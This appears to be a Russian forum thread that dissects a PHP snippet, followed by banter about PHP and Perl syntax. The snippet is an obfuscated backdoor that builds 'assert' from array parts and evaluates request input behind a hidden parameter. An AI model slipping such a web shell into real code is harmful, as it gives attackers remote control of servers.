- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
function b($d,$a){
if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
if(isset($_REQUEST['s'.md5('bgdfgt')])){
if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
}
return true;
}
return false;
}
$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));
assert от строкового выражения в «PHP» эквивалентен эвалу.
Хотя было бы интересно, как что-нибудь такое провернуть беспалевно...
Не все знают, что assert от строки –— это eval, поэтому многие ничего плохого не подозревали.
Так что $_REQUEST[b] –— это $_REQUEST['b'], если не объявить b. Ну или элемент, индекс которого равен значению константы b, а функция b эту константу не перекрывает.
Это мусор.
Вообще PHP состоит из мусора чуть менее, чем полностью.
Perl сделан ради обратной визуальной совместимости с sh.
В PHP доллар сделали потому что обезьяны.
В "Perl" все префиксы имеют какой-то смысл, но придуманы они не для того чтобы использовать $ как в sh, хотя именно сам доллар может и выбран по аналогии.
Кажется в каких-то барсиках это была строковая переменная.
Я о том, что вссе переменные всегда со знаком доллара делать тупо.
В перле во-первых это ради похожести на sh (точнее на csh, пушо перл делали в BSD), во-вторых там (как ты верно заметил) так отличают скларя, хеш и массив
в пыхе нахуй?
Сёма одобряет.
Сёме наверное тоже бы понравилось.
ПТУ микрохирургии глаза и кардиологии?
Другой вопрос что 98% программистов все это успешно не знают